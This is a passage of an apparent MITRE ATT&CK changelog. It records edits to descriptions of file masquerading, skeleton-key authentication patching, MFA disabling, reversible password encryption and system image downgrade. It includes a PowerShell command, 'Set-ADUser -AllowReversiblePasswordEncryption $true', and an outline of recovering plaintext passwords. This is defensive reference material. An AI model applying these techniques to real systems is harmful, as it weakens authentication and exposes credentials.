"x_mitre_attack_spec_version": "3.3.0",
"x_mitre_contributors": [
"CrowdStrike Falcon OverWatch",
"Ben Smith, @cmdaltr"
],
"x_mitre_deprecated": false,
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"x_mitre_version": "2.0",
"detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-03 23:58:20.304000+00:00\", \"old_value\": \"2026-05-12 15:12:00.622000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may masquerade malicious payloads as legitimate files through changes to the payload's formatting, including the file\\u2019s signature, extension, icon, and contents. Various file types have a typical standard format, including how they are encoded and organized. For example, a file\\u2019s signature (also known as header or magic bytes) is the beginning bytes of a file and is often used to identify the file\\u2019s type. For example, the header of a JPEG file is 0xFF 0xD8 and the file extension is either `.JPE`, `.JPEG` or `.JPG`. \\n\\nAdversaries may edit the header\\u2019s hex code and/or the file extension of a malicious payload in order to bypass file validation checks and/or input sanitization. This behavior is commonly used when payload files are transferred (e.g., [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)) and stored (e.g., [Upload Malware](https://attack.mitre.org/techniques/T1608/001)) so that adversaries may move their malware without triggering detections. \\n\\nCommon non-executable file types and extensions, such as text files (`.txt`) and image files (`.jpg`, `.gif`, etc.) may be typically treated as benign. Based on this, adversaries may use a file extension to disguise malware, such as naming a PHP backdoor code with a file name of test.gif. A user may not know that a file is malicious due to the benign appearance and file extension.\\n\\nPolyglot files, which are files that have multiple different file types and that function differently based on the application that will execute them, may also be used to disguise malicious malware and capabilities.(Citation: polygot_icedID)\", \"old_value\": \"Adversaries may masquerade malicious payloads as legitimate files through changes to the payload's formatting, including the file\\u2019s signature, extension, icon, and contents. Various file types have a typical standard format, including how they are encoded and organized. For example, a file\\u2019s signature (also known as header or magic bytes) is the beginning bytes of a file and is often used to identify the file\\u2019s type. For example, the header of a JPEG file, is 0xFF 0xD8 and the file extension is either `.JPE`, `.JPEG` or `.JPG`. \\n\\nAdversaries may edit the header\\u2019s hex code and/or the file extension of a malicious payload in order to bypass file validation checks and/or input sanitization. This behavior is commonly used when payload files are transferred (e.g., [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)) and stored (e.g., [Upload Malware](https://attack.mitre.org/techniques/T1608/001)) so that adversaries may move their malware without triggering detections. \\n\\nCommon non-executable file types and extensions, such as text files (`.txt`) and image files (`.jpg`, `.gif`, etc.) may be typically treated as benign. Based on this, adversaries may use a file extension to disguise malware, such as naming a PHP backdoor code with a file name of test.gif. A user may not know that a file is malicious due to the benign appearance and file extension.\\n\\nPolyglot files, which are files that have multiple different file types and that function differently based on the application that will execute them, may also be used to disguise malicious malware and capabilities.(Citation: polygot_icedID)\", \"diff\": \"--- \\n+++ \\n@@ -1,4 +1,4 @@\\n-Adversaries may masquerade malicious payloads as legitimate files through changes to the payload's formatting, including the file\\u2019s signature, extension, icon, and contents. Various file types have a typical standard format, including how they are encoded and organized. For example, a file\\u2019s signature (also known as header or magic bytes) is the beginning bytes of a file and is often used to identify the file\\u2019s type. For example, the header of a JPEG file, is 0xFF 0xD8 and the file extension is either `.JPE`, `.JPEG` or `.JPG`. \\n+Adversaries may masquerade malicious payloads as legitimate files through changes to the payload's formatting, including the file\\u2019s signature, extension, icon, and contents. Various file types have a typical standard format, including how they are encoded and organized. For example, a file\\u2019s signature (also known as header or magic bytes) is the beginning bytes of a file and is often used to identify the file\\u2019s type. For example, the header of a JPEG file is 0xFF 0xD8 and the file extension is either `.JPE`, `.JPEG` or `.JPG`. \\n \\n Adversaries may edit the header\\u2019s hex code and/or the file extension of a malicious payload in order to bypass file validation checks and/or input sanitization. This behavior is commonly used when payload files are transferred (e.g., [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)) and stored (e.g., [Upload Malware](https://attack.mitre.org/techniques/T1608/001)) so that adversaries may move their malware without triggering detections. \\n \"}}, \"iterable_item_added\": {\"root['x_mitre_contributors'][1]\": \"Ben Smith, @cmdaltr\"}, \"iterable_item_removed\": {\"root['x_mitre_contributors'][0]\": \"Ben Smith\"}}",
"previous_version": "2.0",
"description_change_table": "\n | Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may masquerade malicious payloads as legitimate | t | 1 | Adversaries may masquerade malicious payloads as legitimate |
| > | files through changes to the payload's formatting, including | > | files through changes to the payload's formatting, including | ||
| > | the file\u2019s signature, extension, icon, and contents. Variou | > | the file\u2019s signature, extension, icon, and contents. Variou | ||
| > | s file types have a typical standard format, including how t | > | s file types have a typical standard format, including how t | ||
| > | hey are encoded and organized. For example, a file\u2019s signatu | > | hey are encoded and organized. For example, a file\u2019s signatu | ||
| > | re (also known as header or magic bytes) is the beginning by | > | re (also known as header or magic bytes) is the beginning by | ||
| > | tes of a file and is often used to identify the file\u2019s type. | > | tes of a file and is often used to identify the file\u2019s type. | ||
| > | For example, the header of a JPEG file, is <code> 0xFF 0xD | > | For example, the header of a JPEG file is <code> 0xFF 0xD8< | ||
| > | 8</code> and the file extension is either `.JPE`, `.JPEG` or | > | /code> and the file extension is either `.JPE`, `.JPEG` or ` | ||
| > | `.JPG`. Adversaries may edit the header\u2019s hex code and/or | > | .JPG`. Adversaries may edit the header\u2019s hex code and/or t | ||
| > | the file extension of a malicious payload in order to bypas | > | he file extension of a malicious payload in order to bypass | ||
| > | s file validation checks and/or input sanitization. This beh | > | file validation checks and/or input sanitization. This behav | ||
| > | avior is commonly used when payload files are transferred (e | > | ior is commonly used when payload files are transferred (e.g | ||
| > | .g., [Ingress Tool Transfer](https://attack.mitre.org/techni | > | ., [Ingress Tool Transfer](https://attack.mitre.org/techniqu | ||
| > | ques/T1105)) and stored (e.g., [Upload Malware](https://atta | > | es/T1105)) and stored (e.g., [Upload Malware](https://attack | ||
| > | ck.mitre.org/techniques/T1608/001)) so that adversaries may | > | .mitre.org/techniques/T1608/001)) so that adversaries may mo | ||
| > | move their malware without triggering detections. Common n | > | ve their malware without triggering detections. Common non | ||
| > | on-executable file types and extensions, such as text files | > | -executable file types and extensions, such as text files (` | ||
| > | (`.txt`) and image files (`.jpg`, `.gif`, etc.) may be typic | > | .txt`) and image files (`.jpg`, `.gif`, etc.) may be typical | ||
| > | ally treated as benign. Based on this, adversaries may use | > | ly treated as benign. Based on this, adversaries may use a | ||
| > | a file extension to disguise malware, such as naming a PHP b | > | file extension to disguise malware, such as naming a PHP bac | ||
| > | ackdoor code with a file name of <code>test.gif</code>. A us | > | kdoor code with a file name of <code>test.gif</code>. A user | ||
| > | er may not know that a file is malicious due to the benign a | > | may not know that a file is malicious due to the benign app | ||
| > | ppearance and file extension. Polyglot files, which are fil | > | earance and file extension. Polyglot files, which are files | ||
| > | es that have multiple different file types and that function | > | that have multiple different file types and that function d | ||
| > | differently based on the application that will execute them | > | ifferently based on the application that will execute them, | ||
| > | , may also be used to disguise malicious malware and capabil | > | may also be used to disguise malicious malware and capabilit | ||
| > | ities.(Citation: polygot_icedID) | > | ies.(Citation: polygot_icedID) |
evil.bin, when it is double clicked by a user, it will launch Terminal.app and execute. If this file is renamed to evil.txt, then when double clicked by a user, it will launch with the default text editing application (not executing the binary). However, if the file is renamed to evil.txt (note the space at the end), then when double clicked by a user, the true file type is determined by the OS and handled appropriately and the binary will be executed.(Citation: Mac Backdoors are back)\n\nAdversaries can use this feature to trick users into double clicking benign-looking files of any format and ultimately executing something malicious.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "stealth"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1036/006",
"external_id": "T1036.006"
},
{
"source_name": "Mac Backdoors are back",
"description": "Dan Goodin. (2016, July 6). After hiatus, in-the-wild Mac backdoors are suddenly back. Retrieved July 8, 2017.",
"url": "https://arstechnica.com/security/2016/07/after-hiatus-in-the-wild-mac-backdoors-are-suddenly-back/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.3.0",
"x_mitre_contributors": [
"Erye Hernandez, Palo Alto Networks"
],
"x_mitre_deprecated": false,
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux",
"macOS"
],
"x_mitre_version": "2.0",
"detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 00:16:06.634000+00:00\", \"old_value\": \"2026-05-12 15:12:00.723000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries can hide a program's true filetype by changing the extension of a file. With certain file types (specifically this does not work with .app extensions), appending a space to the end of a filename will change how the file is processed by the operating system.\\n\\nFor example, if there is a Mach-O executable file called evil.bin, when it is double clicked by a user, it will launch Terminal.app and execute. If this file is renamed to evil.txt, then when double clicked by a user, it will launch with the default text editing application (not executing the binary). However, if the file is renamed to evil.txt (note the space at the end), then when double clicked by a user, the true file type is determined by the OS and handled appropriately and the binary will be executed.(Citation: Mac Backdoors are back)\\n\\nAdversaries can use this feature to trick users into double clicking benign-looking files of any format and ultimately executing something malicious.\", \"old_value\": \"Adversaries can hide a program's true filetype by changing the extension of a file. With certain file types (specifically this does not work with .app extensions), appending a space to the end of a filename will change how the file is processed by the operating system.\\n\\nFor example, if there is a Mach-O executable file called evil.bin, when it is double clicked by a user, it will launch Terminal.app and execute. If this file is renamed to evil.txt, then when double clicked by a user, it will launch with the default text editing application (not executing the binary). However, if the file is renamed to evil.txt (note the space at the end), then when double clicked by a user, the true file type is determined by the OS and handled appropriately and the binary will be executed (Citation: Mac Backdoors are back).\\n\\nAdversaries can use this feature to trick users into double clicking benign-looking files of any format and ultimately executing something malicious.\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +1,5 @@\\n Adversaries can hide a program's true filetype by changing the extension of a file. With certain file types (specifically this does not work with .app extensions), appending a space to the end of a filename will change how the file is processed by the operating system.\\n \\n-For example, if there is a Mach-O executable file called evil.bin, when it is double clicked by a user, it will launch Terminal.app and execute. If this file is renamed to evil.txt, then when double clicked by a user, it will launch with the default text editing application (not executing the binary). However, if the file is renamed to evil.txt (note the space at the end), then when double clicked by a user, the true file type is determined by the OS and handled appropriately and the binary will be executed (Citation: Mac Backdoors are back).\\n+For example, if there is a Mach-O executable file called evil.bin, when it is double clicked by a user, it will launch Terminal.app and execute. If this file is renamed to evil.txt, then when double clicked by a user, it will launch with the default text editing application (not executing the binary). However, if the file is renamed to evil.txt (note the space at the end), then when double clicked by a user, the true file type is determined by the OS and handled appropriately and the binary will be executed.(Citation: Mac Backdoors are back)\\n \\n Adversaries can use this feature to trick users into double clicking benign-looking files of any format and ultimately executing something malicious.\"}}}",
"previous_version": "2.0",
"description_change_table": "\n | Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries can hide a program's true filetype by changing t | t | 1 | Adversaries can hide a program's true filetype by changing t |
| > | he extension of a file. With certain file types (specificall | > | he extension of a file. With certain file types (specificall | ||
| > | y this does not work with .app extensions), appending a spac | > | y this does not work with .app extensions), appending a spac | ||
| > | e to the end of a filename will change how the file is proce | > | e to the end of a filename will change how the file is proce | ||
| > | ssed by the operating system. For example, if there is a Ma | > | ssed by the operating system. For example, if there is a Ma | ||
| > | ch-O executable file called <code>evil.bin</code>, when it i | > | ch-O executable file called <code>evil.bin</code>, when it i | ||
| > | s double clicked by a user, it will launch Terminal.app and | > | s double clicked by a user, it will launch Terminal.app and | ||
| > | execute. If this file is renamed to <code>evil.txt</code>, t | > | execute. If this file is renamed to <code>evil.txt</code>, t | ||
| > | hen when double clicked by a user, it will launch with the d | > | hen when double clicked by a user, it will launch with the d | ||
| > | efault text editing application (not executing the binary). | > | efault text editing application (not executing the binary). | ||
| > | However, if the file is renamed to <code>evil.txt </code> (n | > | However, if the file is renamed to <code>evil.txt </code> (n | ||
| > | ote the space at the end), then when double clicked by a use | > | ote the space at the end), then when double clicked by a use | ||
| > | r, the true file type is determined by the OS and handled ap | > | r, the true file type is determined by the OS and handled ap | ||
| > | propriately and the binary will be executed (Citation: Mac B | > | propriately and the binary will be executed.(Citation: Mac B | ||
| > | ackdoors are back). Adversaries can use this feature to tri | > | ackdoors are back) Adversaries can use this feature to tric | ||
| > | ck users into double clicking benign-looking files of any fo | > | k users into double clicking benign-looking files of any for | ||
| > | rmat and ultimately executing something malicious. | > | mat and ultimately executing something malicious. |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may patch the authentication process on a domain | t | 1 | Adversaries may patch the authentication process on a domain |
| > | controller to bypass the typical authentication mechanisms | > | controller to bypass the typical authentication mechanisms | ||
| > | and enable access to accounts. Malware may be used to inje | > | and enable access to accounts. Malware may be used to inje | ||
| > | ct false credentials into the authentication process on a do | > | ct false credentials into the authentication process on a do | ||
| > | main controller with the intent of creating a backdoor used | > | main controller with the intent of creating a backdoor used | ||
| > | to access any user\u2019s account and/or credentials (ex: [Skelet | > | to access any user\u2019s account and/or credentials (ex: [Skelet | ||
| > | on Key](https://attack.mitre.org/software/S0007)). Skeleton | > | on Key](https://attack.mitre.org/software/S0007)). Skeleton | ||
| > | key works through a patch on an enterprise domain controller | > | key works through a patch on an enterprise domain controller | ||
| > | authentication process (LSASS) with credentials that advers | > | authentication process (LSASS) with credentials that advers | ||
| > | aries may use to bypass the standard authentication system. | > | aries may use to bypass the standard authentication system. | ||
| > | Once patched, an adversary can use the injected password to | > | Once patched, an adversary can use the injected password to | ||
| > | successfully authenticate as any domain user account (until | > | successfully authenticate as any domain user account (until | ||
| > | the the skeleton key is erased from memory by a reboot of th | > | the skeleton key is erased from memory by a reboot of the do | ||
| > | e domain controller). Authenticated access may enable unfett | > | main controller). Authenticated access may enable unfettered | ||
| > | ered access to hosts and/or resources within single-factor a | > | access to hosts and/or resources within single-factor authe | ||
| > | uthentication environments.(Citation: Dell Skeleton) | > | ntication environments.(Citation: Dell Skeleton) |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may disable or modify multi-factor authenticatio | t | 1 | Adversaries may disable or modify multi-factor authenticatio |
| > | n (MFA) mechanisms to enable persistent access to compromise | > | n (MFA) mechanisms to enable persistent access to compromise | ||
| > | d accounts. Once adversaries have gained access to a networ | > | d accounts. Once adversaries have gained access to a networ | ||
| > | k by either compromising an account lacking MFA or by employ | > | k by either compromising an account lacking MFA or by employ | ||
| > | ing an MFA bypass method such as [Multi-Factor Authenticatio | > | ing an MFA bypass method such as [Multi-Factor Authenticatio | ||
| > | n Request Generation](https://attack.mitre.org/techniques/T1 | > | n Request Generation](https://attack.mitre.org/techniques/T1 | ||
| > | 621), adversaries may leverage their access to modify or com | > | 621), adversaries may leverage their access to modify or com | ||
| > | pletely disable MFA defenses. This can be accomplished by ab | > | pletely disable MFA defenses. This can be accomplished by ab | ||
| > | using legitimate features, such as excluding users from Azur | > | using legitimate features, such as excluding users from Azur | ||
| > | e AD Conditional Access Policies, registering a new yet vuln | > | e AD Conditional Access Policies, registering a new yet vuln | ||
| > | erable/adversary-controlled MFA method, or by manually patch | > | erable/adversary-controlled MFA method, or by manually patch | ||
| > | ing MFA programs and configuration files to bypass expected | > | ing MFA programs and configuration files to bypass expected | ||
| > | functionality.(Citation: Mandiant APT42)(Citation: Azure AD | > | functionality.(Citation: Mandiant APT42)(Citation: Azure AD | ||
| > | Conditional Access Exclusions) For example, modifying the W | > | Conditional Access Exclusions) For example, modifying the W | ||
| > | indows hosts file (`C:\\windows\\system32\\drivers\\etc\\hosts`) | > | indows hosts file (`C:\\windows\\system32\\drivers\\etc\\hosts`) | ||
| > | to redirect MFA calls to localhost instead of an MFA server | > | to redirect MFA calls to localhost instead of an MFA server | ||
| > | may cause the MFA process to fail. If a \"fail open\" policy i | > | may cause the MFA process to fail. If a \"fail open\" policy i | ||
| > | s in place, any otherwise successful authentication attempt | > | s in place, any otherwise successful authentication attempt | ||
| > | may be granted access without enforcing MFA. (Citation: Russ | > | may be granted access without enforcing MFA.(Citation: Russi | ||
| > | ians Exploit Default MFA Protocol - CISA March 2022) Depen | > | ans Exploit Default MFA Protocol - CISA March 2022) Depend | ||
| > | ding on the scope, goals, and privileges of the adversary, M | > | ing on the scope, goals, and privileges of the adversary, MF | ||
| > | FA defenses may be disabled for individual accounts or for a | > | A defenses may be disabled for individual accounts or for al | ||
| > | ll accounts tied to a larger group, such as all domain accou | > | l accounts tied to a larger group, such as all domain accoun | ||
| > | nts in a victim's network environment.(Citation: Russians Ex | > | ts in a victim's network environment.(Citation: Russians Exp | ||
| > | ploit Default MFA Protocol - CISA March 2022) | > | loit Default MFA Protocol - CISA March 2022) |
AllowReversiblePasswordEncryption property specifies whether reversible password encryption for an account is enabled or disabled. By default this property is disabled (instead storing user credentials as the output of one-way hashing functions) and should not be enabled unless legacy or other software require it.(Citation: store_pwd_rev_enc)\n\nIf the property is enabled and/or a user changes their password after it is enabled, an adversary may be able to obtain the plaintext of passwords created/changed after the property was enabled. To decrypt the passwords, an adversary needs four components:\n\n1. Encrypted password (G$RADIUSCHAP) from the Active Directory user-structure userParameters\n2. 16 byte randomly-generated value (G$RADIUSCHAPKEY) also from userParameters\n3. Global LSA secret (G$MSRADIUSCHAPKEY)\n4. Static key hardcoded in the Remote Access Subauthentication DLL (RASSFM.DLL)\n\nWith this information, an adversary may be able to reproduce the encryption key and subsequently decrypt the encrypted password value.(Citation: how_pwd_rev_enc_1)(Citation: how_pwd_rev_enc_2)\n\nAn adversary may set this property at various scopes through Local Group Policy Editor, user properties, Fine-Grained Password Policy (FGPP), or via the ActiveDirectory [PowerShell](https://attack.mitre.org/techniques/T1059/001) module. For example, an adversary may implement and apply an FGPP to users or groups if the Domain Functional Level is set to \"Windows Server 2008\" or higher.(Citation: dump_pwd_dcsync) In PowerShell, an adversary may make associated changes to user settings using commands similar to Set-ADUser -AllowReversiblePasswordEncryption $true.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-impairment"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "credential-access"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1556/005",
"external_id": "T1556.005"
},
{
"source_name": "dump_pwd_dcsync",
"description": "Metcalf, S. (2015, November 22). Dump Clear-Text Passwords for All Admins in the Domain Using Mimikatz DCSync. Retrieved November 15, 2021.",
"url": "https://adsecurity.org/?p=2053"
},
{
"source_name": "store_pwd_rev_enc",
"description": "Microsoft. (2021, October 28). Store passwords using reversible encryption. Retrieved January 3, 2022.",
"url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/store-passwords-using-reversible-encryption"
},
{
"source_name": "how_pwd_rev_enc_1",
"description": "Teusink, N. (2009, August 25). Passwords stored using reversible encryption: how it works (part 1). Retrieved November 17, 2021.",
"url": "http://blog.teusink.net/2009/08/passwords-stored-using-reversible.html"
},
{
"source_name": "how_pwd_rev_enc_2",
"description": "Teusink, N. (2009, August 26). Passwords stored using reversible encryption: how it works (part 2). Retrieved November 17, 2021.",
"url": "http://blog.teusink.net/2009/08/passwords-stored-using-reversible_26.html"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.3.0",
"x_mitre_deprecated": false,
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows"
],
"x_mitre_version": "2.0",
"detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-03 23:24:32.949000+00:00\", \"old_value\": \"2026-05-12 15:12:00.718000+00:00\"}, \"root['description']\": {\"new_value\": \"An adversary may abuse Active Directory authentication encryption properties to gain access to credentials on Windows systems. The AllowReversiblePasswordEncryption property specifies whether reversible password encryption for an account is enabled or disabled. By default this property is disabled (instead storing user credentials as the output of one-way hashing functions) and should not be enabled unless legacy or other software require it.(Citation: store_pwd_rev_enc)\\n\\nIf the property is enabled and/or a user changes their password after it is enabled, an adversary may be able to obtain the plaintext of passwords created/changed after the property was enabled. To decrypt the passwords, an adversary needs four components:\\n\\n1. Encrypted password (G$RADIUSCHAP) from the Active Directory user-structure userParameters\\n2. 16 byte randomly-generated value (G$RADIUSCHAPKEY) also from userParameters\\n3. Global LSA secret (G$MSRADIUSCHAPKEY)\\n4. Static key hardcoded in the Remote Access Subauthentication DLL (RASSFM.DLL)\\n\\nWith this information, an adversary may be able to reproduce the encryption key and subsequently decrypt the encrypted password value.(Citation: how_pwd_rev_enc_1)(Citation: how_pwd_rev_enc_2)\\n\\nAn adversary may set this property at various scopes through Local Group Policy Editor, user properties, Fine-Grained Password Policy (FGPP), or via the ActiveDirectory [PowerShell](https://attack.mitre.org/techniques/T1059/001) module. For example, an adversary may implement and apply an FGPP to users or groups if the Domain Functional Level is set to \\\"Windows Server 2008\\\" or higher.(Citation: dump_pwd_dcsync) In PowerShell, an adversary may make associated changes to user settings using commands similar to Set-ADUser -AllowReversiblePasswordEncryption $true.\", \"old_value\": \"An adversary may abuse Active Directory authentication encryption properties to gain access to credentials on Windows systems. The AllowReversiblePasswordEncryption property specifies whether reversible password encryption for an account is enabled or disabled. By default this property is disabled (instead storing user credentials as the output of one-way hashing functions) and should not be enabled unless legacy or other software require it.(Citation: store_pwd_rev_enc)\\n\\nIf the property is enabled and/or a user changes their password after it is enabled, an adversary may be able to obtain the plaintext of passwords created/changed after the property was enabled. To decrypt the passwords, an adversary needs four components:\\n\\n1. Encrypted password (G$RADIUSCHAP) from the Active Directory user-structure userParameters\\n2. 16 byte randomly-generated value (G$RADIUSCHAPKEY) also from userParameters\\n3. Global LSA secret (G$MSRADIUSCHAPKEY)\\n4. Static key hardcoded in the Remote Access Subauthentication DLL (RASSFM.DLL)\\n\\nWith this information, an adversary may be able to reproduce the encryption key and subsequently decrypt the encrypted password value.(Citation: how_pwd_rev_enc_1)(Citation: how_pwd_rev_enc_2)\\n\\nAn adversary may set this property at various scopes through Local Group Policy Editor, user properties, Fine-Grained Password Policy (FGPP), or via the ActiveDirectory [PowerShell](https://attack.mitre.org/techniques/T1059/001) module. For example, an adversary may implement and apply a FGPP to users or groups if the Domain Functional Level is set to \\\"Windows Server 2008\\\" or higher.(Citation: dump_pwd_dcsync) In PowerShell, an adversary may make associated changes to user settings using commands similar to Set-ADUser -AllowReversiblePasswordEncryption $true.\", \"diff\": \"--- \\n+++ \\n@@ -9,4 +9,4 @@\\n \\n With this information, an adversary may be able to reproduce the encryption key and subsequently decrypt the encrypted password value.(Citation: how_pwd_rev_enc_1)(Citation: how_pwd_rev_enc_2)\\n \\n-An adversary may set this property at various scopes through Local Group Policy Editor, user properties, Fine-Grained Password Policy (FGPP), or via the ActiveDirectory [PowerShell](https://attack.mitre.org/techniques/T1059/001) module. For example, an adversary may implement and apply a FGPP to users or groups if the Domain Functional Level is set to \\\"Windows Server 2008\\\" or higher.(Citation: dump_pwd_dcsync) In PowerShell, an adversary may make associated changes to user settings using commands similar to Set-ADUser -AllowReversiblePasswordEncryption $true.\\n+An adversary may set this property at various scopes through Local Group Policy Editor, user properties, Fine-Grained Password Policy (FGPP), or via the ActiveDirectory [PowerShell](https://attack.mitre.org/techniques/T1059/001) module. For example, an adversary may implement and apply an FGPP to users or groups if the Domain Functional Level is set to \\\"Windows Server 2008\\\" or higher.(Citation: dump_pwd_dcsync) In PowerShell, an adversary may make associated changes to user settings using commands similar to Set-ADUser -AllowReversiblePasswordEncryption $true.\"}}}",
"previous_version": "2.0",
"description_change_table": "\n | Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | An adversary may abuse Active Directory authentication encry | t | 1 | An adversary may abuse Active Directory authentication encry |
| > | ption properties to gain access to credentials on Windows sy | > | ption properties to gain access to credentials on Windows sy | ||
| > | stems. The <code>AllowReversiblePasswordEncryption</code> pr | > | stems. The <code>AllowReversiblePasswordEncryption</code> pr | ||
| > | operty specifies whether reversible password encryption for | > | operty specifies whether reversible password encryption for | ||
| > | an account is enabled or disabled. By default this property | > | an account is enabled or disabled. By default this property | ||
| > | is disabled (instead storing user credentials as the output | > | is disabled (instead storing user credentials as the output | ||
| > | of one-way hashing functions) and should not be enabled unle | > | of one-way hashing functions) and should not be enabled unle | ||
| > | ss legacy or other software require it.(Citation: store_pwd_ | > | ss legacy or other software require it.(Citation: store_pwd_ | ||
| > | rev_enc) If the property is enabled and/or a user changes t | > | rev_enc) If the property is enabled and/or a user changes t | ||
| > | heir password after it is enabled, an adversary may be able | > | heir password after it is enabled, an adversary may be able | ||
| > | to obtain the plaintext of passwords created/changed after t | > | to obtain the plaintext of passwords created/changed after t | ||
| > | he property was enabled. To decrypt the passwords, an advers | > | he property was enabled. To decrypt the passwords, an advers | ||
| > | ary needs four components: 1. Encrypted password (<code>G$R | > | ary needs four components: 1. Encrypted password (<code>G$R | ||
| > | ADIUSCHAP</code>) from the Active Directory user-structure < | > | ADIUSCHAP</code>) from the Active Directory user-structure < | ||
| > | code>userParameters</code> 2. 16 byte randomly-generated val | > | code>userParameters</code> 2. 16 byte randomly-generated val | ||
| > | ue (<code>G$RADIUSCHAPKEY</code>) also from <code>userParame | > | ue (<code>G$RADIUSCHAPKEY</code>) also from <code>userParame | ||
| > | ters</code> 3. Global LSA secret (<code>G$MSRADIUSCHAPKEY</c | > | ters</code> 3. Global LSA secret (<code>G$MSRADIUSCHAPKEY</c | ||
| > | ode>) 4. Static key hardcoded in the Remote Access Subauthen | > | ode>) 4. Static key hardcoded in the Remote Access Subauthen | ||
| > | tication DLL (<code>RASSFM.DLL</code>) With this informatio | > | tication DLL (<code>RASSFM.DLL</code>) With this informatio | ||
| > | n, an adversary may be able to reproduce the encryption key | > | n, an adversary may be able to reproduce the encryption key | ||
| > | and subsequently decrypt the encrypted password value.(Citat | > | and subsequently decrypt the encrypted password value.(Citat | ||
| > | ion: how_pwd_rev_enc_1)(Citation: how_pwd_rev_enc_2) An adv | > | ion: how_pwd_rev_enc_1)(Citation: how_pwd_rev_enc_2) An adv | ||
| > | ersary may set this property at various scopes through Local | > | ersary may set this property at various scopes through Local | ||
| > | Group Policy Editor, user properties, Fine-Grained Password | > | Group Policy Editor, user properties, Fine-Grained Password | ||
| > | Policy (FGPP), or via the ActiveDirectory [PowerShell](http | > | Policy (FGPP), or via the ActiveDirectory [PowerShell](http | ||
| > | s://attack.mitre.org/techniques/T1059/001) module. For examp | > | s://attack.mitre.org/techniques/T1059/001) module. For examp | ||
| > | le, an adversary may implement and apply a FGPP to users or | > | le, an adversary may implement and apply an FGPP to users or | ||
| > | groups if the Domain Functional Level is set to \"Windows Ser | > | groups if the Domain Functional Level is set to \"Windows Se | ||
| > | ver 2008\" or higher.(Citation: dump_pwd_dcsync) In PowerShel | > | rver 2008\" or higher.(Citation: dump_pwd_dcsync) In PowerShe | ||
| > | l, an adversary may make associated changes to user settings | > | ll, an adversary may make associated changes to user setting | ||
| > | using commands similar to <code>Set-ADUser -AllowReversible | > | s using commands similar to <code>Set-ADUser -AllowReversibl | ||
| > | PasswordEncryption $true</code>. | > | ePasswordEncryption $true</code>. |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may install an older version of the operating sy | t | 1 | Adversaries may install an older version of the operating sy |
| > | stem of a network device to weaken security. Older operatin | > | stem of a network device to weaken security. Older operatin | ||
| > | g system versions on network devices often have weaker encry | > | g system versions on network devices often have weaker encry | ||
| > | ption ciphers and, in general, fewer/less updated defensive | > | ption ciphers and, in general, fewer/less updated defensive | ||
| > | features. (Citation: Cisco Synful Knock Evolution) On embed | > | features.(Citation: Cisco Synful Knock Evolution) On embedd | ||
| > | ded devices, downgrading the version typically only requires | > | ed devices, downgrading the version typically only requires | ||
| > | replacing the operating system file in storage. With most | > | replacing the operating system file in storage. With most e | ||
| > | embedded devices, this can be achieved by downloading a copy | > | mbedded devices, this can be achieved by downloading a copy | ||
| > | of the desired version of the operating system file and rec | > | of the desired version of the operating system file and reco | ||
| > | onfiguring the device to boot from that file on next system | > | nfiguring the device to boot from that file on next system r | ||
| > | restart. The adversary could then restart the device to imp | > | estart. The adversary could then restart the device to impl | ||
| > | lement the change immediately or they could wait until the n | > | ement the change immediately or they could wait until the ne | ||
| > | ext time the system restarts. Downgrading the system image | > | xt time the system restarts. Downgrading the system image t | ||
| > | to an older versions may allow an adversary to evade defense | > | o an older version may allow an adversary to evade defenses | ||
| > | s by enabling behaviors such as [Weaken Encryption](https:// | > | by enabling behaviors such as [Weaken Encryption](https://at | ||
| > | attack.mitre.org/techniques/T1600). Downgrading of a system | > | tack.mitre.org/techniques/T1600). Downgrading of a system i | ||
| > | image can be done on its own, or it can be used in conjunct | > | mage can be done on its own, or it can be used in conjunctio | ||
| > | ion with [Patch System Image](https://attack.mitre.org/techn | > | n with [Patch System Image](https://attack.mitre.org/techniq | ||
| > | iques/T1601/001). | > | ues/T1601/001). |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may modify the operating system of a network dev | t | 1 | Adversaries may modify the operating system of a network dev |
| > | ice to introduce new capabilities or weaken existing defense | > | ice to introduce new capabilities or weaken existing defense | ||
